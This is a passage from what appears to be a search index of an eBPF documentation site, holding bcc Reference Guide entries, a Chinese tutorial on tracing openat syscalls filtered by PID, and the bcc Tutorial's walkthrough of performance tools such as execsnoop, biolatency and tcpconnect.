0 | | 15 : 0 | | 16 : 2 |**** |\n[...] This is an efficient way to summarize data, as the summarization is performed in-kernel, and only the values in the count column are passed to user space. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 11. print_linear_hist()","id":"296","title":"11. print_linear_hist()"},"297":{"body":"Syntax: table.open_ring_buffer(callback, ctx=None) This operates on a table as defined in BPF as BPF_RINGBUF_OUTPUT(), and associates the callback Python function callback to be called when data is available in the ringbuf ring buffer. This is part of the new (Linux 5.8+) recommended mechanism for transferring per-event data from kernel to user space. Unlike perf buffers, ringbuf sizes are specified within the BPF program, as part of the BPF_RINGBUF_OUTPUT macro. If the callback is not processing data fast enough, some submitted data may be lost. In this case, the events should be polled more frequently and/or the size of the ring buffer should be increased. Example: # process event\ndef print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # loop with callback to print_event\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll() except KeyboardInterrupt: exit() Note that the data structure transferred will need to be declared in C in the BPF program. For example: // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_RINGBUF_OUTPUT(events, 8);\n[...] In Python, you can either let bcc generate the data structure from C declaration automatically (recommended): def print_event(ctx, data, size): event = b[\"events\"].event(data)\n[...] or define it manually: # define output data structure in Python\nTASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 12. open_ring_buffer()","id":"297","title":"12. open_ring_buffer()"},"298":{"body":"Syntax: table.push(leaf, flags=0) Push an element onto a Stack or Queue table. Raises an exception if the operation does not succeed. Passing QueueStack.BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 13. push()","id":"298","title":"13. push()"},"299":{"body":"Syntax: leaf = table.pop() Pop an element from a Stack or Queue table. Unlike peek(), pop() removes the element from the table before returning it. Raises a KeyError exception if the operation does not succeed. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 14. pop()","id":"299","title":"14. pop()"},"3":{"body":"本文不会对 eBPF 的原理做更详细的介绍，不过这里有一个学习规划和参考资料，也许会有一些价值：","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 2. 关于如何学习 eBPF 相关的开发的一些建议","id":"3","title":"2. 关于如何学习 eBPF 相关的开发的一些建议"},"30":{"body":"首先，我们需要编写一段 eBPF 程序来捕获进程打开文件的系统调用，具体实现如下： #include <vmlinux.h>\n#include <bpf/bpf_helpers.h> /// @description \"Process ID to trace\"\nconst volatile int pid_target = 0; SEC(\"tracepoint/syscalls/sys_enter_openat\")\nint tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx)\n{ u64 id = bpf_get_current_pid_tgid(); u32 pid = id; if (pid_target && pid_target != pid) return false; // Use bpf_printk to print the process information bpf_printk(\"Process ID: %d enter sys openat\\n\", pid); return 0;\n} /// \"Trace open family syscalls.\"\nchar LICENSE[] SEC(\"license\") = \"GPL\"; 这段 eBPF 程序实现了： 引入头文件：<vmlinux.h> 包含了内核数据结构的定义，<bpf/bpf_helpers.h> 包含了 eBPF 程序所需的辅助函数。 定义全局变量 pid_target，用于过滤指定进程 ID。这里设为 0 表示捕获所有进程的 sys_openat 调用。 使用 SEC 宏定义一个 eBPF 程序，关联到 tracepoint \"tracepoint/syscalls/sys_enter_openat\"。这个 tracepoint 会在进程发起 sys_openat 系统调用时触发。 实现 eBPF 程序 tracepoint__syscalls__sys_enter_openat，它接收一个类型为 struct trace_event_raw_sys_enter 的参数 ctx。这个结构体包含了关于系统调用的信息。 使用 bpf_get_current_pid_tgid() 函数获取当前进程的 PID 和 TGID（线程组 ID）。由于我们只关心 PID，所以将其赋值给 u32 类型的变量 pid。 检查 pid_target 变量是否与当前进程的 pid 相等。如果 pid_target 不为 0 且与当前进程的 pid 不相等，则返回 false，不对该进程的 sys_openat 调用进行捕获。 使用 bpf_printk() 函数打印捕获到的进程 ID 和 sys_openat 调用的相关信息。这些信息将在用户空间通过 BPF 工具查看。 将程序许可证设置为 \"GPL\"，这是运行 eBPF 程序的必要条件。 这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程（或所有进程）的 sys_openat 系统调用，并在用户空间输出相关信息。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc opensnoop.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat 此时，我们已经能够捕获进程打开文件的系统调用了。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 在 eBPF 中捕获进程打开文件的系统调用集合","id":"30","title":"在 eBPF 中捕获进程打开文件的系统调用集合"},"300":{"body":"Syntax: leaf = table.peek() Peek the element at the head of a Stack or Queue table. Unlike pop(), peek() does not remove the element from the table. Raises an exception if the operation does not succeed. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 15. peek()","id":"300","title":"15. peek()"},"301":{"body":"Some helper methods provided by bcc. Note that since we're in Python, we can import any Python library and their methods, including, for example, the libraries: argparse, collections, ctypes, datetime, re, socket, struct, subprocess, sys, and time.","breadcrumbs":"bcc Reference Guide » Helpers","id":"301","title":"Helpers"},"302":{"body":"Syntax: BPF.ksym(addr) Translate a kernel memory address into a kernel function name, which is returned. Example: print(\"kernel function: \" + b.ksym(addr)) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. ksym()","id":"302","title":"1. ksym()"},"303":{"body":"Syntax: BPF.ksymname(name) Translate a kernel name into an address. This is the reverse of ksym. Returns -1 when the function name is unknown. Example: print(\"kernel address: %x\" % b.ksymname(\"vfs_read\")) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. ksymname()","id":"303","title":"2. ksymname()"},"304":{"body":"Syntax: BPF.sym(addr, pid, show_module=False, show_offset=False) Translate a memory address into a function name for a pid, which is returned. A pid of less than zero will access the kernel symbol cache. The show_module and show_offset parameters control whether the module in which the symbol lies should be displayed, and whether the instruction offset from the beginning of the symbol should be displayed. These extra parameters default to False. Example: print(\"function: \" + b.sym(addr, pid)) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. sym()","id":"304","title":"3. sym()"},"305":{"body":"Syntax: BPF.num_open_kprobes() Returns the number of open k[ret]probes. Can be useful for scenarios where event_re is used while attaching and detaching probes. Excludes perf_events readers. Example: b.attach_kprobe(event_re=pattern, fn_name=\"trace_count\")\nmatched = b.num_open_kprobes()\nif matched == 0: print(\"0 functions matched by \\\"%s\\\". Exiting.\" % args.pattern) exit() Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. num_open_kprobes()","id":"305","title":"4. num_open_kprobes()"},"306":{"body":"Syntax: BPF.get_syscall_fnname(name : str) Return the corresponding kernel function name of the syscall. This helper function will try different prefixes and use the right one to concatenate with the syscall name. Note that the return value may vary in different versions of linux kernel and sometimes it will causing trouble. (see #2590 ) Example: print(\"The function name of %s in kernel is %s\" % (\"clone\", b.get_syscall_fnname(\"clone\")))\n# sys_clone or __x64_sys_clone or ... Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. get_syscall_fnname()","id":"306","title":"5. get_syscall_fnname()"},"307":{"body":"See the \"Understanding eBPF verifier messages\" section in the kernel source under Documentation/networking/filter.txt.","breadcrumbs":"bcc Reference Guide » BPF Errors","id":"307","title":"BPF Errors"},"308":{"body":"This can be due to trying to read memory directly, instead of operating on memory on the BPF stack. All kernel memory reads must be passed via bpf_probe_read_kernel() to copy kernel memory into the BPF stack, which can be automatic by the bcc rewriter in some cases of simple dereferencing. bpf_probe_read_kernel() does all the required checks. Example: bpf: Permission denied\n0: (bf) r6 = r1\n1: (79) r7 = *(u64 *)(r6 +80)\n2: (85) call 14\n3: (bf) r8 = r0\n[...]\n23: (69) r1 = *(u16 *)(r7 +16)\nR7 invalid mem access 'inv' Traceback (most recent call last): File \"./tcpaccept\", line 179, in <module> b = BPF(text=bpf_text) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 172, in __init__ self._trace_autoload() File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 612, in _trace_autoload fn = self.load_func(func_name, BPF.KPROBE) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 212, in load_func raise Exception(\"Failed to load BPF program %s\" % func_name)\nException: Failed to load BPF program kretprobe__inet_csk_accept","breadcrumbs":"bcc Reference Guide » 1. Invalid mem access","id":"308","title":"1. Invalid mem access"},"309":{"body":"This error happens when a GPL-only helper is called from a non-GPL BPF program. To fix this error, do not use GPL-only helpers from a proprietary BPF program, or relicense the BPF program under a GPL-compatible license. Check which BPF helpers are GPL-only, and what licenses are considered GPL-compatible. Example calling bpf_get_stackid(), a GPL-only BPF helper, from a proprietary program (#define BPF_LICENSE Proprietary): bpf: Failed to load program: Invalid argument\n[...]\n8: (85) call bpf_get_stackid#27\ncannot call GPL only function from proprietary program","breadcrumbs":"bcc Reference Guide » 2. Cannot call GPL only function from proprietary program","id":"309","title":"2. Cannot call GPL only function from proprietary program"},"31":{"body":"全局变量在 eBPF 程序中充当一种数据共享机制，它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。 在我们的例子中，全局变量 pid_target 用于过滤进程 PID。用户态程序可以设置此变量的值，以便在 eBPF 程序中只捕获与指定 PID 相关的 sys_openat 系统调用。 使用全局变量的原理是，全局变量在 eBPF 程序的数据段（data section）中定义并存储。当 eBPF 程序加载到内核并执行时，这些全局变量会保持在内核中，可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性，如 bpf_obj_get_info_by_fd 和 bpf_obj_get_info，获取 eBPF 对象的信息，包括全局变量的位置和值。 可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息： $ ecli package.json -h\nUsage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR] Trace open family syscalls. Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --pid_target Process ID to trace Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. 可以通过 --pid_target 参数来指定要捕获的进程的 pid，例如： $ sudo ./ecli run package.json --pid_target 618\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe <...>-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat <...>-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 使用全局变量在 eBPF 中过滤进程 pid","id":"31","title":"使用全局变量在 eBPF 中过滤进程 pid"},"310":{"body":"","breadcrumbs":"bcc Reference Guide » Environment Variables","id":"310","title":"Environment Variables"},"311":{"body":"eBPF program compilation needs kernel sources or kernel headers with headers compiled. In case your kernel sources are at a non-standard location where BCC cannot find then, its possible to provide BCC the absolute path of the location by setting BCC_KERNEL_SOURCE to it.","breadcrumbs":"bcc Reference Guide » 1. Kernel source directory","id":"311","title":"1. Kernel source directory"},"312":{"body":"By default, BCC stores the LINUX_VERSION_CODE in the generated eBPF object which is then passed along to the kernel when the eBPF program is loaded. Sometimes this is quite inconvenient especially when the kernel is slightly updated such as an LTS kernel release. Its extremely unlikely the slight mismatch would cause any issues with the loaded eBPF program. By setting BCC_LINUX_VERSION_CODE to the version of the kernel that's running, the check for verifying the kernel version can be bypassed. This is needed for programs that use kprobes. This needs to be encoded in the format: (VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL. For example, if the running kernel is 4.9.10, then can set export BCC_LINUX_VERSION_CODE=264458 to override the kernel version check successfully.","breadcrumbs":"bcc Reference Guide » 2. Kernel version overriding","id":"312","title":"2. Kernel version overriding"},"313":{"body":"Some tools have special filtering capabitilies, the main use case is to trace processes running in containers, but those mechanisms are generic and could be used in other cases as well.","breadcrumbs":"Special Filtering » Special Filtering","id":"313","title":"Special Filtering"},"314":{"body":"Some tools have an option to filter by cgroup by referencing a pinned BPF hash map managed externally. Examples of commands: # ./opensnoop --cgroupmap /sys/fs/bpf/test01\n# ./execsnoop --cgroupmap /sys/fs/bpf/test01\n# ./tcpconnect --cgroupmap /sys/fs/bpf/test01\n# ./tcpaccept --cgroupmap /sys/fs/bpf/test01\n# ./tcptracer --cgroupmap /sys/fs/bpf/test01 The commands above will only display results from processes that belong to one of the cgroups whose id, returned by bpf_get_current_cgroup_id(), is in the pinned BPF hash map. The BPF hash map can be created by: # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \\ name cgroupset flags 0 To get a shell in a new cgroup, you can use: # systemd-run --pty --unit test bash The shell will be running in the cgroup /sys/fs/cgroup/unified/system.slice/test.service. The cgroup id can be discovered using the name_to_handle_at() system call. In the examples/cgroupid, you will find an example of program to get the cgroup id. # cd examples/cgroupid\n# make\n# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service or, using Docker: # cd examples/cgroupid\n# docker build -t cgroupid .\n# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \\ cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service This prints the cgroup id as a hexadecimal string in the host endianness such as 77 16 00 00 01 00 00 00. # FILE=/sys/fs/bpf/test01\n# CGROUPID_HEX=\"77 16 00 00 01 00 00 00\"\n# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any Now that the shell started by systemd-run has its cgroup id in the BPF hash map, bcc tools will display results from this shell. Cgroups can be added and removed from the BPF hash map without restarting the bcc tool. This feature is useful for integrating bcc tools in external projects.","breadcrumbs":"Special Filtering » Filtering by cgroups","id":"314","title":"Filtering by cgroups"},"315":{"body":"The BPF hash map can be created by: # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \\ name mnt_ns_set flags 0 Execute the execsnoop tool filtering only the mount namespaces in /sys/fs/bpf/mnt_ns_set: # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set Start a terminal in a new mount namespace: # unshare -m bash Update the hash map with the mount namespace ID of the terminal above: FILE=/sys/fs/bpf/mnt_ns_set\nif [ $(printf '\\1' | od -dAn) -eq 1 ]; then HOST_ENDIAN_CMD=tac\nelse HOST_ENDIAN_CMD=cat\nfi NS_ID_HEX=\"$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\\{2\\}/&\\n/g' | $HOST_ENDIAN_CMD)\"\nbpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any Execute a command in this terminal: # ping kinvolk.io You'll see how on the execsnoop terminal you started above the call is logged: # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set\n[sudo] password for mvb:\nPCOMM PID PPID RET ARGS\nping 8096 7970 0 /bin/ping kinvolk.io","breadcrumbs":"Special Filtering » Filtering by mount by namespace","id":"315","title":"Filtering by mount by namespace"},"316":{"body":"This tutorial covers how to use bcc tools to quickly solve performance, troubleshooting, and networking issues. If you want to develop new bcc tools, see tutorial_bcc_python_developer.md for that tutorial. It is assumed for this tutorial that bcc is already installed, and you can run tools like execsnoop successfully. See INSTALL.md . This uses enhancements added to the Linux 4.x series.","breadcrumbs":"bcc Tutorial » bcc Tutorial","id":"316","title":"bcc Tutorial"},"317":{"body":"Some quick wins.","breadcrumbs":"bcc Tutorial » Observability","id":"317","title":"Observability"},"318":{"body":"Before using bcc, you should start with the Linux basics. One reference is the Linux Performance Analysis in 60,000 Milliseconds post, which covers these commands: uptime dmesg | tail vmstat 1 mpstat -P ALL 1 pidstat 1 iostat -xz 1 free -m sar -n DEV 1 sar -n TCP,ETCP 1 top","breadcrumbs":"bcc Tutorial » 0. Before bcc","id":"318","title":"0. Before bcc"},"319":{"body":"Here is a generic checklist for performance investigations with bcc, first as a list, then in detail: execsnoop opensnoop ext4slower (or btrfs*, xfs*, zfs*) biolatency biosnoop cachestat tcpconnect tcpaccept tcpretrans runqlat profile These tools may be installed on your system under /usr/share/bcc/tools, or you can run them from the bcc github repo under /tools where they have a .py extension. Browse the 50+ tools available for more analysis options. 1.1 execsnoop # ./execsnoop\nPCOMM PID RET ARGS\nsupervise 9660 0 ./run\nsupervise 9661 0 ./run\nmkdir 9662 0 /bin/mkdir -p ./main\nrun 9663 0 ./run\n[...] execsnoop prints one line of output for each new process. Check for short-lived processes. These can consume CPU resources, but not show up in most monitoring tools that periodically take snapshots of which processes are running. It works by tracing exec(), not the fork(), so it will catch many types of new processes but not all (eg, it won't see an application launching working processes, that doesn't exec() anything else). More examples . 1.2. opensnoop # ./opensnoop\nPID COMM FD ERR PATH\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1603 snmpd 9 0 /proc/net/dev\n1603 snmpd 11 0 /proc/net/if_inet6\n1603 snmpd -1 2 /sys/class/net/eth0/device/vendor\n1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding\n[...] opensnoop prints one line of output for each open() syscall, including details. Files that are opened can tell you a lot about how applications work: identifying their data files, config files, and log files. Sometimes applications can misbehave, and perform poorly, when they are constantly attempting to read files that do not exist. opensnoop gives you a quick look. More examples . 1.3. ext4slower (or btrfs*, xfs*, zfs*) # ./ext4slower\nTracing ext4 operations slower than 10 ms\nTIME COMM PID T BYTES OFF_KB LAT(ms) FILENAME\n06:35:01 cron 16464 R 1249 0 16.05 common-auth\n06:35:01 cron 16463 R 1249 0 16.04 common-auth\n06:35:01 cron 16465 R 1249 0 16.03 common-auth\n06:35:01 cron 16465 R 4096 0 10.62 login.defs\n06:35:01 cron 16464 R 4096 0 10.61 login.defs ext4slower traces the ext4 file system and times common operations, and then only prints those that exceed a threshold. This is great for identifying or exonerating one type of performance issue: show individually slow disk i/O via the file system. Disks process I/O asynchronously, and it can be difficult to associate latency at that layer with the latency applications experience. Tracing higher up in the kernel stack, at the VFS -> file system interface, will more closely match what an application suffers. Use this tool to identify if file system latency exceeds a given threshold. Similar tools exist in bcc for other file systems: btrfsslower, xfsslower, and zfsslower. There is also fileslower, which works at the VFS layer and traces everything (although at some higher overhead). More examples . 1.4. biolatency # ./biolatency\nTracing block device I/O... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 12 |******** | 256 -> 511 : 15 |********** | 512 -> 1023 : 43 |******************************* | 1024 -> 2047 : 52 |**************************************| 2048 -> 4095 : 47 |********************************** | 4096 -> 8191 : 52 |**************************************| 8192 -> 16383 : 36 |************************** | 16384 -> 32767 : 15 |********** | 32768 -> 65535 : 2 |* | 65536 -> 131071 : 2 |* | biolatency traces disk I/O latency (time from device issue to completion), and when the tool ends (Ctrl-C, or a given interval), it prints a histogram summary of the latency. This is great for understanding disk I/O latency beyond the average times given by tools like iostat. I/O latency outliers will be visible at the end of the distribution, as well as multi-mode distributions. More examples . 1.5. biosnoop # ./biosnoop\nTIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)\n0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74\n0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61\n0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24\n0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09\n1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98\n1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93\n[...] biosnoop prints a line of output for each disk I/O, with details including latency (time from device issue to completion). This allows you to examine disk I/O in more detail, and look for time-ordered patterns (eg, reads queueing behind writes). Note that the output will be verbose if your system performs disk I/O at a high rate. More examples . 1.6. cachestat # ./cachestat HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB 1074 44 13 94.9% 2.9% 1 223 2195 170 8 92.5% 6.8% 1 143 182 53 56 53.6% 1.3% 1 143 62480 40960 20480 40.6% 19.8% 1 223 7 2 5 22.2% 22.2% 1 223 348 0 0 100.0% 0.0% 1 223\n[...] cachestat prints a one line summary every second (or every custom interval) showing statistics from the file system cache. Use this to identify a low cache hit ratio, and a high rate of misses: which gives one lead for performance tuning. More examples . 1.7. tcpconnect # ./tcpconnect\nPID COMM IP SADDR DADDR DPORT\n1479 telnet 4 127.0.0.1 127.0.0.1 23\n1469 curl 4 10.201.219.236 54.245.105.25 80\n1469 curl 4 10.201.219.236 54.67.101.145 80\n1991 telnet 6 ::1 ::1 23\n2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22\n[...] tcpconnect prints one line of output for every active TCP connection (eg, via connect()), with details including source and destination addresses. Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. More examples . 1.8. tcpaccept # ./tcpaccept\nPID COMM IP RADDR LADDR LPORT\n907 sshd 4 192.168.56.1 192.168.56.102 22\n907 sshd 4 127.0.0.1 127.0.0.1 22\n5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001\n[...] tcpaccept prints one line of output for every passive TCP connection (eg, via accept()), with details including source and destination addresses. Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. More examples . 1.9. tcpretrans # ./tcpretrans\nTIME PID IP LADDR:LPORT T> RADDR:RPORT STATE\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED\n01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 ESTABLISHED\n[...] tcprerans prints one line of output for every TCP retransmit packet, with details including source and destination addresses, and kernel state of the TCP connection. TCP retransmissions cause latency and throughput issues. For ESTABLISHED retransmits, look for patterns with networks. For SYN_SENT, this may point to target kernel CPU saturation and kernel packet drops. More examples . 1.10. runqlat # ./runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | runqlat times how long threads were waiting on the CPU run queues, and prints this as a histogram. This can help quantify time lost waiting for a turn on CPU, during periods of CPU saturation. More examples . 1.11. profile # ./profile\nSampling at 49 Hertz of all threads by user + kernel stack... Hit Ctrl-C to end.\n^C 00007f31d76c3251 [unknown] 47a2c1e752bf47f7 [unknown] - sign-file (8877) 1 ffffffff813d0af8 __clear_user ffffffff813d5277 iov_iter_zero ffffffff814ec5f2 read_iter_zero ffffffff8120be9d __vfs_read ffffffff8120c385 vfs_read ffffffff8120d786 sys_read ffffffff817cc076 entry_SYSCALL_64_fastpath 00007fc5652ad9b0 read - dd (25036) 4 0000000000400542 func_a 0000000000400598 main 00007f12a133e830 __libc_start_main 083e258d4c544155 [unknown] - func_ab (13549) 5 [...] ffffffff8105eb66 native_safe_halt ffffffff8103659e default_idle ffffffff81036d1f arch_cpu_idle ffffffff810bba5a default_idle_call ffffffff810bbd07 cpu_startup_entry ffffffff8104df55 start_secondary - swapper/1 (0) 75 profile is a CPU profiler, which takes samples of stack traces at timed intervals, and prints a summary of unique stack traces and a count of their occurrence. Use this tool to understand the code paths that are consuming CPU resources. More examples .","breadcrumbs":"bcc Tutorial » 1. General Performance","id":"319","title":"1. General Performance"},"32":{"body":"本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中，我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID，并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中，我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid，从而过滤输出，只输出指定的进程的信息。 通过学习本教程，您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 总结","id":"32","title":"总结"},"320":{"body":"In addition to the above tools for performance tuning, below is a checklist for bcc generic tools, first as a list, and in detail: trace argdist funccount These generic tools may be useful to provide visibility to solve your specific problems. 2.1. trace Example 1 Suppose you want to track file ownership change. There are three syscalls, chown, fchown and lchown which users can use to change file ownership. The corresponding syscall entry is SyS_[f|l]chown. The following command can be used to print out syscall parameters and the calling process user id. You can use id command to find the uid of a particular user. $ trace.py \\ 'p::SyS_chown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_fchown \"fd = %d, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_lchown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid'\nPID TID COMM FUNC -\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203 Example 2 Suppose you want to count nonvoluntary context switches (nvcsw) in your bpf based performance monitoring tools and you do not know what is the proper method. /proc/<pid>/status already tells you the number (nonvoluntary_ctxt_switches) for a pid and you can use trace.py to do a quick experiment to verify your method. With kernel source code, the nvcsw is counted at file linux/kernel/sched/core.c function __schedule and under condition !(!preempt && prev->state) // i.e., preempt || !prev->state The __schedule function is marked as notrace, and the best place to evaluate the above condition seems in sched/sched_switch tracepoint called inside function __schedule and defined in linux/include/trace/events/sched.h. trace.py already has args being the pointer to the tracepoint TP_STRUCT__entry. The above condition in function __schedule can be represented as args->prev_state == TASK_STATE_MAX || args->prev_state == 0 The below command can be used to count the involuntary context switches (per process or per pid) and compare to /proc/<pid>/status or /proc/<pid>/task/<task_id>/status for correctness, as in typical cases, involuntary context switches are not very common. $ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134142 contention_test sched_switch\n...\n$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134140 contention_test sched_switch\n... Example 3 This example is related to issue 1231 and 1516 where uprobe does not work at all in certain cases. First, you can do a strace as below $ strace trace.py 'r:bash:readline \"%s\", retval'\n...\nperf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)\n... The perf_event_open syscall returns -EIO. Digging into kernel uprobe related codes in /kernel/trace and /kernel/events directories to search EIO, the function uprobe_register is the most suspicious. Let us find whether this function is called or not and what is the return value if it is called. In one terminal using the following command to print out the return value of uprobe_register, $ trace.py 'r::uprobe_register \"ret = %d\", retval' In another terminal run the same bash uretprobe tracing example, and you should get $ trace.py 'r::uprobe_register \"ret = %d\", 